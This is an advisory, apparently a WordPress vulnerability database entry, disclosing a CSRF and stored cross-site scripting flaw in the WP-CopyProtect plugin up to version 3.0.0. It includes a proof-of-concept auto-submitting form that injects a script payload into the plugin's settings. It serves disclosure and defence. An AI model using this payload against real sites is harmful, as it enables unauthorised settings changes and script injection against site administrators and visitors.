WP-CopyProtect <= 3.0.0 - CSRF & Stored Cross-Site Scripting (XSS)



Description
The WP-CopyProtect [Protect your blog posts] plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of Cross-Site Request Forgery (CSRF) token (nonce).
Proof of Concept
<form id="form" method="POST" action="http://localhost/wp-admin/admin.php?page=wpcopyprotect">
        <input type="hidden" name="CopyProtect_nrc" value="2"/>
        <input type="hidden" name="CopyProtect_nrc_text" value='"><script>alert(1)</script>'/>
        <input type="hidden" name="CopyProtect_user_settings" value="2"/>
        <input type="hidden" name="CopyProtect_save" value="Save Settings"/>
</form>
<script>
        document.getElementById("form").submit();
</script>

Affects Plugin

References

URL https://research.g0blin.co.uk/g0blin-00054/

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter James Hooker
Submitter Website https://research.g0blin.co.uk
Submitter Twitter g0blinResearch
Views 6632
Verified No
WPVDB ID 8066

Timeline

Publicly Published 2015-06-30 (about 5 years ago)
Added 2015-06-30 (about 5 years ago)
Last Updated 2019-10-21 (9 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin